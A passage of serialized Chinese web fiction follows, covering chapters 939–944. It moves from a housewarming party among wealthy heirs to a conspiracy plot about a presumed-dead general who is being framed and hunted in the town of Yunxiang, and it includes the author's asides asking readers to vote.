姜花衫指了指身后,“还有个人。” 这边话音刚落,门外响起高止的怒音,“噗咳咳!少爷快走!我掩护你!” 硝烟渐散,沈兰晞被一道重力拍进大门,要不是他反应快一手托住门框,险些栽倒在地。 沈兰晞眉头几不可查地蹙了一下,正要训斥,抬眸见眼前五双眼睛看着自己,立马若无其事地站起身。 太子爷眉眼间自带生人勿近的冷冽,墨色的短发上疏疏落落地沾着好些红色的鞭炮碎屑。这种反差就像是冷峻山巅意外落了几点早春的红梅,有了几分人间意境。 沈清予挑了挑眉,侧头看向大厅,往前带路,“请进吧,稀客们。” 沈兰晞垂眸,拂了拂肩头的灰尘,还没抬脚,一个脑袋从浓烟里探了出来。 “哇~清予少爷这新家还挺气派的。” 沈兰晞懒得搭理他,跟着走进主厅。 厅内格局开阔,承袭了旧式宅院的沉稳大气,却又明显经过了用心的整理。原本属于顾家的一些繁复装饰被撤走了,添上了年轻奢靡的风格。 “哇哦——” 傅绥尔睁大眼睛四下张望,发出由衷的惊叹:“清予哥,你这满墙的矿石标本好酷啊!” “看上什么随便拿。”沈清予向来大方,被哄开心了更是好说话。 傅绥尔连忙摆手,“我就随便说说,只是……” 她犹豫片刻,不好意思地笑了笑,“听说你把顾家人都赶出去了,现在应该正缺人手吧?我和枝枝打算一起开个能源公司,嘿嘿,清予哥,你现在是矿主了,给我们点油水呗~” “你们两个开公司?” 沈清予转头看向姜花衫,还没等他开口,傅绥尔立马澄清,“跟衫衫没关系,她对开公司不感兴趣。” 姜花衫点头,“这两人前脚知道你成了矿主,后脚就申请了公司,这就是冲着你来的。” 沈清予被逗笑了,“那你呢?” 姜花衫,“我跟你不熟。” “……”沈清予揉了揉额角,“知道了,回去整理一份你们公司的资料给我。” “真的?”傅绥尔和沈眠枝对视了一眼,不约而同笑出了声。 “真的。”沈清予懒懒应了一声,转头看向一旁的沈兰晞,“兰晞哥,要不要我也放点油水啊?” 他这话明显带着调侃。沈兰晞瞥了他一眼,端杯抿了一口热茶,淡淡道:“用不着。” 要是平时,沈清予才懒得惯沈兰晞的臭毛病,但他今天高兴,连带看沈兰晞也顺眼了,浑不在意地从顾赫手里接过一份文件递给沈兰晞,“都是兄弟姐妹,我也不能厚此薄彼。看在你今天给我放了鞭炮的份上,这玩意给你,算是我的回礼了。” 这份文件他早准备好了,原本也是等着适当时机拿给沈兰晞。 沈兰晞放下茶杯,随手接过文件看了一眼,“收下了。” 那张惯常冷漠的脸上依旧没什么表情。 沈兰晞什么人,一般的东西哪能入他的眼?傅绥尔和沈眠枝不由好奇,沈清予到底给了什么东西?但沈兰晞的性子两人也不敢打听,只能暗戳戳给姜花衫使眼色。 姜花衫比了一个OK的手势,顺手抽过沈兰晞手里的文件,翻开瞟了一眼,立马丢还给沈兰晞,捂着嘴巴小声道:“锑矿。” 沈兰晞:“……” 锑矿属于军事战略资源,沈清予这手笔可算是大气,连傅绥尔和沈眠枝都是一脸难以置信。同时她们也很清楚,沈兰晞就代表了沈家,沈清予把这么稀有的资源给他,说明他和沈家并无半点生分。 “噼里啪啦砰——” 突然,门外再次响起了礼炮声,比刚才沈兰晞带来的动静要正常很多。 顾赫微微躬身:“少爷,有客人来了。” “清予哥!乔迁大喜啊!”苏妙穿着一身鹅黄色的大衣,外罩雪白狐裘,妆容精致,笑容明媚。 苏灼跟在她身后,手里提着各种精致的礼盒。 “妙妙!”傅绥尔两眼发光,兴奋地朝苏妙招手,“快进来!快进来!” 苏灼笑得一脸和气,“我们不请自来,没打扰你们吧?” 过门是客,沈清予立马端出主人家的姿态起身招呼,“没有,顾赫,上茶。” 苏妙许久没回来了,小姐妹几个好不容易见面,跟沸水炸开了锅似的,叽叽喳喳说个不停,气氛一下就热闹起来。 说说笑笑间,不知不觉已近正午。 顾赫前来请示是否准备午宴,沈清予点头,招呼着众人移步餐厅。 宴席早已布置妥当,长桌上铺着洁白的桌布,摆放着精致的银质餐具和水晶杯。 众人依序落座,气氛依旧热烈。 苏妙方才一直沉浸在重逢的喜悦中,回过神四下看了看,不由好奇,“咦?怎么没看见阿灵哥啊?” 气氛瞬间凝滞。 方才还言笑晏晏的傅绥尔和沈眠枝同时收敛了笑容,就连姜花衫都愣了愣。 沈归灵出事的时候,苏妙正好不在A国,所以并不知道其中隐情。但她明显察觉到气氛不对,有些无措地看向姜花衫,“怎么了?我是不是说了什么不该说的话?” 姜花衫稍稍回神,摇了摇头,“没有,沈归灵他……不在A国。” 苏妙转头看向其他人,见大家都没有要聊的意思,笑着“哦”了一声,便也没有再追问。 傅绥尔见状,立马举起眼前的酒杯,试图将气氛重新拉回来。 “来来来,今天大家一起走一个,庆祝清予哥从今以后当家做主!” 沈清予和沈兰晞不约而同看向姜花衫,见她像个没事人一样端杯,两人才跟着配合。 等大家碰完杯入座,顾赫看准时机,抱着一个黑色的礼盒再次走进餐厅。 “少爷,刚刚有人把这东西放在门口就走了。” 一般的礼物是不可能随便捧到沈清予面前的,他不由好奇,“谁啊?” 顾赫,“上面写着阿灵少爷的名字。” 这话一出,在场所有人都愣住了。 沈清予下意识看了姜花衫一眼,立马道:“拿过来。” “是。” 礼盒上夹着一张贺卡,上面写着“乔迁贺礼”。 沈清予一眼就认出了是某个傻逼的笔迹,他一脸嫌弃地抽出贺卡。 傅绥尔:“清予哥,真是阿灵哥?你给我们看看,阿灵哥送你什么好东西了?” “他能有什么好东西?” 沈清予嘴上嫌弃,手上拆缎带的动作却利落得很,三两下便掀开了礼盒的盖子。 “……” 蓦地,一股浓郁独特的咸腥气味瞬间弥漫开来,冲散了餐厅里原本的食物香气。 盒内,一条被风干的咸鱼躺在简陋的防油纸上。 “……” 整个餐厅陷入了一种诡异的寂静。 苏妙不懂就问,“阿灵哥送一条咸鱼是什么意思?” 沈清予冷笑,什么意思?! 咸鱼翻不了身。 那狗东西是在警告他,别想浑水摸鱼。 …… 第940章 初见端倪 谁是咸鱼还说不定呢! 沈清予提起盒子里的咸鱼扔给顾赫,"去,给我煎了。" "嚯!还挺热闹的。" 这声音一响起,餐厅里的人都愣了愣,不约而同往客厅看去。 只见关鹤穿着一身毛茸茸的黑色长款貂皮大衣,大摇大摆地晃了进来。那貂毛油光水滑,在灯光下泛着奢靡的光泽,与他脸上那副"老子天下最潮"的欠揍表情相得益彰。 他笑容张扬,刚举起手忽然脸色一变,"什么味这么冲?不是吧,沈清予,你大喜的日子你请客吃屎?!" 沈清予挑眉,双手抱胸打量眼前这头熊精,"谁让你进来的。" 关鹤指了指大门,"我跟他们说,我是沈归灵,他们就放我进来了。" 这么草率的吗?! 一餐桌的人:"………………" 沈清予转眸看向顾赫。 顾赫抱着咸鱼瑟瑟发抖,"少爷见谅,他们都是新人也没见过阿灵少爷。" 关鹤也看出了没有人欢迎他,但他半点不在意。被关楼逼着来缓和关系时他就想好了,要是沈清予敢动手,他立马躺下讹他十矿八矿的,反正这狗东西现在有钱。 也算他运气好,今天沈清予心情好,并未跟他计较,摆摆手,"赶紧滚。" "你什么态度?上门是客,你都是自立门户的人了,怎么一点礼数都没有?"关鹤往桌上逡巡了一圈,特意挑在沈眠枝旁边的空位坐了下来。 "你们刚刚聊什么呢?" 傅绥尔没见过脸皮这么厚的人,"关你什么事?" 苏家跟关家的梁子还没解开,是故苏妙和苏灼看见关鹤更是没有好脸色。 关鹤原本被逼着来,心里也不得劲儿,但转眼看见自己给所有人添了堵一下就来了精神。 "你们这就没意思了,咱们好歹也是知根知底一块长大的同学,我好心好意来祝贺,你们这是什么态度?" 眼看关鹤嘴角都要咧到耳后根了,姜花衫站起身,主动挨着他身边的空位坐下。 关鹤脸色骤变,心一下就提到了嗓子眼,"你……你干嘛?我警告你别挨我这么近啊!" 姜花衫一眼就看出他是个外强中干的货色,单手托腮,冲他眨了眨眼睛,"关鹤,周宴珩去哪了?" 关鹤已经进入十级戒备状态,"关你什么事?" 实则他也不知道周宴珩的下落,也正是因为找不到人,他才无聊地到处找茬。 姜花衫:"哈?你不知道啊?看来你们关系也不怎么样?正好,我们刚刚在说周宴珩的坏话,你要不要一起加入啊?这么着,只要你说出十个周宴珩见不得光的秘密,我们就算你合格了,破格让你入会,怎么样?" 关鹤皱眉,"你有病吧?" 姜花衫:"总之,周宴珩和我们之间,你今天必须选一个。" 关鹤:"……" "所以,你就这么被赶出来了?"电话那头,周宴珩的声音不冷不热。 "我不是被赶出来,我是自己选择出来的!"关鹤气呼呼摔门下车,扯着嗓子纠正。 "有什么区别,还不是三言两语就被人带进去了。" 关鹤皱了皱眉,没有接话。 他又不是傻子,怎么会不知道姜花衫是故意耍他,但是,哪怕是玩笑,他也不想背叛周宴珩。 "怎么不说话了?" 关鹤说不出口,拢了拢身上的貂毛眺望着一望无际的海平面,半晌后,闷闷道,"阿珩,你到底在哪啊?什么时候回来?" 周宴珩沉默片刻,"很快。" * 云乡。 "叩叩——" 周宴珩抬眸瞥了一眼,淡淡道,"挂了。" 等他放下电话,一名手下快步走到跟前,压低声音,语速极快:"少爷,有发现了。" "我们根据旅店老板和那晚所有目击者的描述,拼凑出了老闫那晚接洽人的外部轮廓,再通过基因库扫描反复核对后,有结果了……" 手下顿了顿,展开手中的旧报纸,"那晚拿走资料的,极有可能是他。" 报纸是很多年前的,头版头条印着一幅庄重的黑白照片,照片下是一行醒目的讣告写着十八位烈士的名字,而男人的指尖正好点着第一行第一列。 一星上将,路迦。 房间里顿时陷入一片死寂。 半晌,周宴珩缓缓抬起眼,眸底深处冰层无声碎裂。 因为在这个名字之下对应了另外一个名字。 ——周绮珊。 "死而复生吗?有点意思~" …… 第941章 念念不忘,必有回响 一个已被记录在烈士园的人离奇复活,这件事不管怎么看都很荒谬。 男人原以为说出结论时会受到周宴珩的质疑,却万万没想到,对方毫不犹豫就接受了。 这事处处透着蹊跷,于是他犹豫片刻,略带试探地询问道:“少爷,这事要不要先禀报老爷子?万一真是路迦,只怕事情会变得棘手。” “急什么?等事情证实了再说。”周宴珩嘴角勾起一抹似笑非笑的弧度,声音平淡,却带着不容置疑的意味,“云乡这潭水,正好缺条够分量的鲶鱼。” 手下微怔,有些不解:“那……少爷您的意思是?” 周宴珩抬眸,落在印有路迦名字的旧报纸上,“把‘路迦可能还活着’的消息,一五一十透露给陈明生那帮人。当年杀人灭口的爆炸案可是他们策划的,现在人没死透,他们……不得负责售后?” “是。”手下瞬间明白了周宴珩的意图,转身出了房间。 * “辛苦朱秘书跑这一趟了。” 云乡商会这边,陈明生恭恭敬敬送走男人后,厚重的密室门刚一合拢,原本勉强维持着表面镇定的商会高层们瞬间炸开了锅。 “路迦?!他怎么可能还活着?当年的爆炸现场我们都亲眼看过,尸骨无存!” “消息是周少爷那边传来的,宁可信其有不可信其无。如果他真的没死,而且还拿到了账本……那我们……” 密室内的空气仿佛凝固,恐慌如瘟疫般迅速蔓延。 “都给我安静!” 陈明生缓缓起身,花白头发下,那双浑浊的眼睛闪烁着困兽般的凶光,逐一扫过在场每一张惶惶不安的面孔。 “慌什么?!周少爷的意思已经很明白,周家可以阻止有人往上传消息,至于我们能不能守住云乡,就要看自己的本事!生死存亡的时候,大家也别藏着掖着了。” 众人顿时有了主心骨,相互交换眼神后,纷纷起身请教:“会长您有什么尽管吩咐。” 陈明生:“既然他的身份是个麻烦,咱们就想办法抹去他的身份。找人知会警署厅一声,找个案件由头,把这个人挂上去全城悬赏缉拿。” “这……会不会太惹人注意了?” 陈明生:“这里是云乡,指鹿为马还不是我们说了算?有了这个由头,只要他敢出现,立马就地处决。总之一句话,不管这个人是谁,务必把他彻底围死在云乡,绝不能让他把任何东西带出去!” * 鲸港。 “轰隆——” 夜空中猛地划过一道惨白闪电,将整个房间映得如同白昼。 周绮姗从睡梦中惊醒,心脏不受控制地剧烈跳动,后背沁出一层薄汗。那阵心悸如此真实,仿佛有什么重要的东西正在失去。 她坐起身,靠在床头。 窗外不知什么时候下起了雨。 黑暗中,她摸索到手机,屏幕亮起,显示凌晨三点。没有未接来电,没有新信息。 迄今为止,路迦已失联近一个月。 她点开路迦的通讯界面,指尖悬在拨号键上,却迟迟没有按下。贸然联系,可能给他带来更大的风险。 虽然路迦是被迫上了周绮姗这条船,但相处这段时间,两人已形成绝对默契。此刻周绮姗几乎可以断定,路迦遇上麻烦了。 又一道闪电撕裂夜幕,照亮她凝重的眸色。 不能再等了。 周绮珊深吸一口气,强迫自己冷静。 她现在没有身份,任务也一直是路迦单线向上联系,而且她并不知道路迦在哪儿,甚至没有证据证明路迦遇险。这个时候找官方求助,只怕不会顺畅。 那该怎么办? 蓦地,她眼底一亮! 爷爷! 对了,她可以找周家帮忙,这样能省去被怀疑的时间,而且周家一定有能力查到路迦的下落! 这个念头一起,周绮姗当即翻身下床。可脚尖刚触及冰凉地板,一股寒意瞬间从脚底窜上脊梁,让她硬生生止住动作。 还是不行。 周家目标太大,云乡的保护伞权势通天,万一双方冲突,爷爷必定先权衡得失。到时候不仅救不了路迦,还可能提前暴露行动。 可除了周家,她还能信谁呢? 周绮姗绝望地望向窗外。恰在此时,一道闪电劈落,黑夜白昼瞬间交替——毫无预兆地,她脑海里跳入了一个名字。 * 翌日清晨。 苏宅。 苏妙难得起了个大早,刚下楼就看见管家领着一群人在四处张罗。 她不由好奇,回头问路过的阿姨:“这么多人在那儿干什么呢?” 阿姨是苏家的老人,对苏妙也格外亲近,笑着答道:“昨夜雨太大,把门上的横幅吹歪了,老爷子一早看见,让苏管家重新挂好。” “还挂?”苏妙嘴角抽搐,那横幅都挂半个月了,都快包浆了。 她四处看了看,“爷爷呢?” 阿姨指着主厅方向,“应该在前面吃早茶。” 苏妙穿过庭院,来到主厅。果然看见苏老爷子坐在餐厅用早茶,旁边还放着一份晨报。 “爷爷。”苏妙唤了一声。 苏老爷子闻声抬头,见到是她,眉开眼笑:“这么早?正好,陪爷爷一起吃点儿。” 苏妙见老爷子心情难得这么好,关于横幅的话终究没说出口。她拉开椅子在老爷子对面坐下,阿姨立刻为她添上一副碗筷。 “打扮得这么精神?待会儿要出去?”苏老爷子将一碟水晶虾饺推到她面前。 苏妙点头:“姜花衫今天约了记者做访谈,我去看看。” 苏老爷子正端起茶杯的手微微一顿,抬眼看了看孙女,缓缓啜了口咖啡:“你和沈家那丫头倒是挺合得来?” 苏妙想也没想,点头,“嗯,我们是朋友。” 话音刚落,放在桌上的手机“嗡”地一震,屏幕随之亮起。 苏妙下意识瞥了一眼,是一条新信息。当她看清发信人名字时,脸色骤变,猛地从椅子上站起来,动作大得差点带倒身后的椅子。 “怎么了?”苏老爷子被她这突如其来的举动弄得一怔,放下茶杯,蹙眉问道。 苏妙却像没听见,一把抓起手机,脸上的惊疑不定。 “爷爷我有急事,晚上不回来吃饭了!”说完,顾不上礼仪,转身就往外跑。 就在她冲出餐厅门口的瞬间,苏韵正好从外面进来。眼看两人就要撞上,苏韵下意识侧身避让,苏妙没有一句解释,直接越过。 “……” 苏韵看着她匆忙离去的背影,眉头微蹙,这才转身走进餐厅。 "这丫头,越来越没规矩了。"老爷子放下茶杯,看似责备,却不痛不痒。 苏韵没有接话,避开苏妙刚刚坐过的椅子入座,阿姨立马又添上一副碗筷。 苏敬琉见她精神不济,亲自倒了杯温牛奶递上,“听说,你昨天又去看余笙了?” 苏韵知道瞒不过老爷子,点了点头,“她还是不愿意见我。” 苏敬琉:“她这个时候避着你是真心把你当朋友,此一时彼一时,不见就不见吧。” 苏韵捧着牛奶的手微微一顿,片刻后,垂眸应了声,“知道了。” …… (PS:哈喽大家~巅峰榜打榜活动来了,点击主页巅峰版就可以参与投票,恳请各位书粉宝宝伸出您发财的小手,为小花儿投上您宝贵的一票~鞠躬!再鞠躬!再再鞠躬!) 第942章 找个帮手 十二月的冬日,没有泼天大雪,只有一种浸入骨髓的湿冷,风像是能穿透衣物,直直剐在皮肤上。 周绮珊站在废弃观象台的圆顶下,圆顶早已锈蚀,中间那座巨大的、指向天空的望远镜基座孤寂地矗立在中央,金属支架上爬满了暗色的苔藓,像一个被时代遗忘的巨人骸骨。 这里曾是她和苏妙学生时代逃离现实的“秘密基地”。 周绮珊看着脚下枯黄的杂草,思绪复杂到了极点。 她假死欺骗妙妙,现在遇见麻烦才想起找她,也不知道她会不会生气。 说实话,她没有把握,因为苏妙的脾气真的很坏。 时间在湿冷的空气里仿佛凝滞,每一秒都被拉得漫长。 周绮珊呵出一口白气,看着它在冷风中迅速消散。 “阿珊!” 忽然,身后响起了那道熟悉的声音。 周绮珊眸光抖动,蓦然回头。 她刚侧过身,还没反应过来,那道身影已经冲到了面前,张开怀抱紧紧拥住了她。 “真的是你……你没死……我就知道你终有一天会回来找我的……呜呜呜呜……”苏妙的声音哽咽到不能自已,滚烫的液体瞬间濡湿了她冰凉的皮肤。 周绮珊垂在身侧的手,先是无措地蜷缩了一下,随后她笑了笑,缓缓抬起双手,轻轻拍了拍苏妙的肩膀,“是我。对不起妙妙,没能成为你的依靠就回来了。” 这句话非但没有止住哭泣,反而像是被打开了某个闸门,苏妙压抑多年的担忧、思念在这一刻彻底爆发出来。 她紧紧攥着周绮珊后背的衣物,哭得撕心裂肺,“周绮珊你是猪吗?你难道不知道吗?我现在可厉害了!” 周绮珊的眼睛已经酸涩得不行,哽咽道,“知道。我为你骄傲,妙妙。” 她当时守着直播看完了整个庭审,骄傲得与有荣焉。 太久不见,思念溢满,重逢带着撕心裂肺的真挚,冲散了冬日的湿冷与沉寂。 过了好一会儿,苏妙才终于松开手,胡乱地用袖子擦了把脸,眼睛和鼻子都红彤彤的。 她深吸了几口冰冷的空气,努力平复着呼吸,眼神却已经认真起来,“好了,我哭完了。现在你可以告诉我,发生什么事了?是谁逼得你不得不‘死’这一回?你现在回来找我是不是遇上什么麻烦了?我能帮你什么?” 一连四个问题让周绮珊反应不及,她看着眼前这张熟悉又陌生的面孔,忽然明白了为什么老话总是说,人是一夜之间长大的。 周绮珊神情变得凝重,轻轻点了点头:“妙妙,我的确遇到了很棘手的问题……” 路迦曾说过,他们要做的事是A国S级机密,就算丢了性命也不能随便泄露。她一直谨记着这个原则,所以哪怕是周家她也没有卸下防备。 选家族是豪赌,但选苏妙不是。 她不仅是她的挚友,也是人人赞颂的小苏律师,她公平正义,会是挚友也会是盟友。 周绮珊坚信这一点,遂将她自己为什么假死,这些年去了哪,做了什么一五一十都交待得清清楚楚。 “岂有此理!那些藏在阴沟里的蛀虫!他们怎么敢的?!简直无法无天!”苏妙是检察官,这些年她早已看透了各种世道不公,但在听见周绮珊的供述后还是忍不住气得颤抖。 周绮珊从口袋里掏出一支录音笔递给她,“我已经将我刚刚说的话都记录好了,这个你帮我收着。我现在必须要去找路长官了,万一……我和长官出了什么事,你手里的证据就是唯一的星火。” 苏妙眸光僵滞,不敢相信地看着周绮珊,“你……” 周绮珊笑了笑,拉过苏妙的手,将录音笔塞进她的手里,“上次没有好好道别一直很遗憾。妙妙……” “你别做傻事!”苏妙用力回握周绮珊。 周绮珊掰开苏妙的手,认真道,“这不是傻事,是我觉得对的事。当初是我硬把长官拖下水的,他家里还有八十岁的奶奶等着他回去,我必须要把人找回来。” 苏妙摇头,“你怎么找?你知道他在哪吗?连上将都敢杀,这背后的势力有多厉害你想过吗?” 周绮珊,“前路万万难,总要有人先走。妙妙,就像你说的,前仆后继星火才能延续,别劝我了。” “不!”苏妙一把拽着她的手腕,力道大得惊人,“我不是要拦你,但这条路太艰险了,你一个人走不通的,没有必要做无谓的牺牲。我们找个帮手!” “帮手?”周绮珊微愣,“谁?” 苏妙:“姜花衫。” …… PS:关于大家说找不到书名这件事→宝宝们,书名叫《黑月光冠冕》这是百万字定榜的名字~投票还可以参加抽奖活动哟~祝大家欧气爆棚!再次感谢大家,鞠躬~祝爆富! 第943章 君子协议 云乡。 街道上泥泞未干,行人缩着脖子匆匆而过,呼出的白气瞬间消散在阴郁的寒风里。一种无形的压抑,如同这冬日挥之不去的湿寒,弥漫在城市的每个角落。 路迦压低帽檐,将半张脸埋在高竖的衣领里,谨慎地走进了一家便利店。 这一个月云乡的搜查网越收越紧,消息传不出去,人也困在原地,他现在的每一步都如履薄冰。 便利店没什么生意,老板一直专心于他手里的钓鱼游戏。 路迦走到最里面的货架,拿了些泡面和瓶装水,正准备结账,老板因为大输了一笔气得懊恼不已,骂骂咧咧丢了手机,随手打开电视转移心情。 便利店里悬挂着的老旧电视机正播放着午间新闻,声音嘈杂,画面还带着闪屏的雪花。 “本台独家专访。今日上午,姜花衫在鲸港酒店就其近期遭遇家庭风波、以及缺席前要员叛国案庭审等一系列事件,首次接受采访并作出回应……” 路迦脚步微顿,转身折进一排货架,佯装继续挑选东西。 “姜小姐,您与母亲方眉女士近日的公开对峙引发广泛关注,对于方女士的遭遇我们深表同情,请问您是如何看待这段母女关系?巨额财产的‘赠与’,是妥协还是解脱?” 镜头里的少女,乌发如瀑,肌肤粉白,即便是在信号不佳的老旧电视机里,那份过人的美貌也极具冲击力,让人难以移开视线。 “嚯!这婆娘长得带劲!” 老板一下来了精神,拿起遥控器将电视音量调到了最大。 镜头里少女微微偏头,语调清冷:“血缘无法选择,但道路可以。我尊重她作为独立个体的选择,也完成了作为子女在法律和道德层面最后的责任。这并非妥协,而是我与过去的一种清算和解脱。” 记者紧接着追问:“那么关于您突然缺席余斯文案的庭审,外界传言与您近期的家庭变故有关,甚至怀疑您受到某些压力,您作何回应?” 少女嘴角掠过一丝极淡的弧度,似有嘲讽,又似挑衅:“的确有些压力,不过既然最后还是真相大白了,就说明邪不压正。” 这话明显是带着机锋,不单单是现场的记者,就连货架前的路迦也愣住了。 他似是没想到一个小丫头敢在全国直播的镜头前如此挑衅权势,不由抬眸看向悬挂在高处的屏幕。 恰巧这时,少女转过头看向镜头:“借此机会,我也想对屏幕前正身处困境或独自挣扎的你说:冬日虽寒,终会过去。鲸港的灯火或许遥远,但总能照亮一些夜路。请务必坚持下去,保护好自己,活着,才能看到冰雪消融的那天。” “当然这并不是一句空话,3799XXX。” 她迅速报出了一串电话号码,“这是沈氏星火联盟基金的联络方式。” 路迦的心脏猛地一跳,浑身的血液似乎都在这一瞬间凝固了。 货架的遮挡了大部分画面,从他的视角只看见一双滟潋带着火光的桃花眼,但目光对视的刹那,他竟然生出了少女在与他对话的错觉。 “滋啦——!” 还没等他回过神,电视画面猛地一闪,取而代之的是一片刺目的雪花。 “怎么回事?正看得起劲呢!”便利店老板不满地嘟囔着,拿起遥控器胡乱按了几下。 下一秒,画面重新稳定下来,镜头是一个穿着制服的新闻主播。 “现在插播一条云乡警署厅发布的紧急协查通告。昨夜,我市城南区发生一起恶性纵火爆炸案,造成重大事故伤亡。经初步侦查,锁定一名男性犯罪嫌疑人……” 主播冰冷的声音如同铁锤,镜头立马切换到嫌疑人的画像。 霎时,路迦脸色微变,只觉得一股寒意从脚底瞬间窜遍全身,这云乡的冬日竟然比边防还要刺骨千百倍。 主持人还在播报:“……该犯罪嫌疑人极度危险,现面向全社会公开悬赏通缉。凡提供有效线索协助抓捕者,奖励人民币十万元!” “十万?!”便利店老板惊呼一声,眼睛都直了,凑近屏幕仔细看着那张画像,“这龟儿子长得还挺周正,咋个这么狠哦……” 路迦默默低下头,拿着选好的东西,快步走到收银台前,哑着嗓子低声道:“结账。” 老板还沉浸在十万悬赏的震惊中,一边扫码一边还在念叨:“十万块啊,要是碰到这龟儿子岂不是要发财了?!” 路迦接过塑料袋,转身出了店门。 云乡这种小地方,地方台的新闻一直受ZF把控,而当地人也不喜欢看主流媒体,关注的都是地方台。如今他被指认成了爆炸案嫌疑犯,俨然就成了这个城市的敌人。 他估计藏不了多久了。 鲸港。 “啪——” 刺目的摄影灯光依次熄灭,只余下房间内原本昏黄柔和的照明,仿佛瞬间从灼热的舞台回到了现实世界。 “姜小姐,直播效果很成功,辛苦了。”负责访问的记者满脸钦佩,伸出手示好。 姜花衫从椅子上站起身,礼仪性地与她轻轻一握,“大家也辛苦了。” 郑松悄无声息地上前,将她的外套递了过来,“小姐,车已经准备好了。” “好。” 姜花衫披上外套,掏出手机检查信息,这才发现苏妙半个小时前给她发了一条定位消息,目的地是她学校附近的公寓。 她微微一顿,一边系着外套扣子,一边转身走向相对安静的窗边,立马拨通了苏妙的电话。 “妙妙?” 还没等她开口,苏妙直接打断她,“别问,你快来!一个人。” 说完,电话就被挂断了。 姜花衫虽然觉得莫名其妙,但还是让郑松改道去了公寓。因为苏妙指名让她一个人,她特意交代郑松在车里待命。 苏妙定位的公寓在大学城附近,环境相对安静,这个时候都在上课,所以没什么人。 姜花衫按着门牌号很顺利就找到了对应的房间。 “叩叩——” “妙妙?” 她开口,门从里面被猛地拉开一条缝。苏妙的脸出现在门后,贼眉鼠眼左右看了看,确定没有人后一把抓住姜花衫的手腕,用力将她拽了进去,随即“咔哒”一声,迅速将门反锁。 “你搞什么……” 姜花衫正要抱怨,眸光冷不丁瞥到了角落的人影,表情怔愣。 只见有人被一根手指粗的尼龙绳结结实实地捆在了一把椅子上,双臂反剪在椅背后,嘴上还严严实实地贴着一大块灰色胶布。 这人不是别人,正是好久不见的周绮珊。 周绮珊在看见姜花衫时的反应出奇愤怒,不顾自己被绑,挣扎着朝苏妙挪动身体,嘴里发出类似咆哮的怒音。 “嗯嗯嗯!!!” “别吵!”苏妙凶巴巴地朝周绮珊吼了一句,转头对着姜花衫时立马换上一副讨好的笑脸,“嘿嘿~我接了活儿,有点麻烦,所以想请你帮忙~” 姜花衫眯眼打量了她一眼,二话不说转身就要走。 “诶!”苏妙早防着她逃跑,抢先一步挡在门口,像狗皮膏药似的搂住姜花衫的胳膊,撒娇卖萌,“利国利民、生死攸关的大事,你不会见死不救的对不对?” 姜花衫皱了皱眉,转头打量周绮珊,“你们俩都没商量好,找我做什么?” 两人目光对撞,周绮珊眼中明显多了几分暗色。 她明明是‘死去’的人,可姜花衫看见她时眼里没有一丝意外,更重要的是苏妙什么都没说,她就猜出她们有了分歧。单从这两点,足以推断出姜花衫远比她想象中的还不简单。 苏妙嘴角讪讪,双手合十,“阿珊不了解你,你别怪她!但我绝对相信你!!只要给她一个了解你的机会,她一定也会相信你的。拜托拜托!” 姜花衫沉吟片刻,转身走到沙发坐下,“说吧,什么事?” 她之所以接受电视台的采访,就是想主动寻找关于周家的隐藏剧情,既然现在周绮珊自己送上门,哪有置之不理的道理? “嗯嗯!!” 周绮珊奋力发出声响,血丝布满双眼,几乎是哀求般一边看着苏妙一边摇头。 她相信苏妙,但她不能相信姜花衫。姜花衫是沈家的人,云乡背后的势力只手遮天,她甚至怀疑是沈家在背后搞鬼!万一找错了人,她百死莫赎。 苏妙知道周绮珊在担心什么,周绮珊在听见她想求助姜花衫时强烈反对,甚至还抢走了准备给她的录音笔。 她没办法在短时间内说服周绮珊,又不能看着周绮珊送死,万般无奈之下只能趁周绮珊不注意打晕了她。 久别重逢的第一面就闹得这么不开心,苏妙也很难过,但她心里清楚,比起周绮珊的命,这些都不算什么。 所以,即便周绮珊已经表露出了哀求姿态,她还是将云乡和路迦的事一五一十告诉了姜花衫。 一开始,周绮珊还心存希望,但随着苏妙越说越详细,她的眼神渐渐空洞,最后近乎麻木。 等到苏妙讲述完所有事情的始末,周绮珊一直含在眼眶里的泪水终于落了下来。 她觉得窒息,因为她搞砸了这一切。 苏妙于心不忍,轻叹一声,慢慢走到周绮珊跟前,蹲下身替她擦去眼角的泪水,轻声安慰:“阿珊,我知道你在担心什么?但是,我可以用生命向你保证,你所担心的都不会发生。” 周绮珊缓缓抬眸,被泪水沾湿的睫毛像被暴雨洗礼的剪羽,无力轻垂。 见她毫无反应,苏妙转头眼神求助地看向姜花衫,“衫衫,情况就是这样,你有什么办法能帮助他们吗?” 姜花衫神情肃穆,睨了周绮珊一眼。 结合苏妙刚刚讲述的剧情,她已经基本能确定,云乡背后的势力就是周家。 萧澜兰说过,周宴珩现在就在云乡。鲸港闹得天翻地覆,周家却在这个时候把周宴珩调走,说明云乡一定藏着什么惊天秘密,再结合苏妙所说的一星上将失踪,这事就联系上了。 周宴珩守在云乡不回,极有可能是因为路迦。也就是说,周绮珊要找的人现在大概率就在云乡。 但这些话,她暂时不想挑明了说。 周绮珊不信她,同样的,她也不能仅凭一次逆风翻盘就完全相信周绮珊。 她毕竟是周家的人,如果知道自己心心念念追查的真凶竟然是自己引以为傲的家族,她的信念会崩塌的。信念崩塌,周绮珊还会是现在这个周绮珊吗? 事关大义,姜花衫也不敢赌。 “衫衫?”苏妙不知姜花衫已在心里九曲连环转了个遍,眉宇间满是担忧,“连你都没有办法吗?” 姜花衫垂眸想了想,冲苏妙使了个眼神,“把她嘴上的封条撕了。” 苏妙当即明白姜花衫有话要跟周绮珊说,立马揭下了周绮珊脸上的封带。 周绮珊眸光微怔,略有些意外,盯着姜花衫细细打量。 姜花衫毫不避讳,直接开门见山:“其实我们心里都很清楚,鲸港权力圈虽深,但能操控这么一大盘棋局的权势屈指可数,无非就是那么几个。你不信我,因为你怀疑的是沈家,对吗?” 周绮珊眸底掠过一抹幽光,声音暗哑:“没错。” 姜花衫并不在意,继续道,“正巧,我也怀疑你们周家。” 周绮珊眉头紧蹙,直接反驳,“不可能!” “没有什么不可能!”姜花衫理直气壮,又转头看向苏妙,“同样的,我也怀疑苏家,除了沈家,我怀疑你们所有人。” 苏妙摇头,“虽然苏家有能力,但我不相信爷爷是这种人。” 姜花衫:“那我们就找出证据,证明自己是对的。如果你们所说的都是事实,这件事不宜声张,除了我们不能再让任何人知晓,包括我们背后的家族。” 周绮珊最怕的就是姜花衫向沈家通风报信,她提出保守秘密倒是有些出乎意料。 苏妙多少还是了解姜花衫的,立马咧嘴一笑,“衫衫,你是不是想到办法了?” 姜花衫:“办法是有,但咱们先立个君子协议。” …… 第944章 自相矛盾 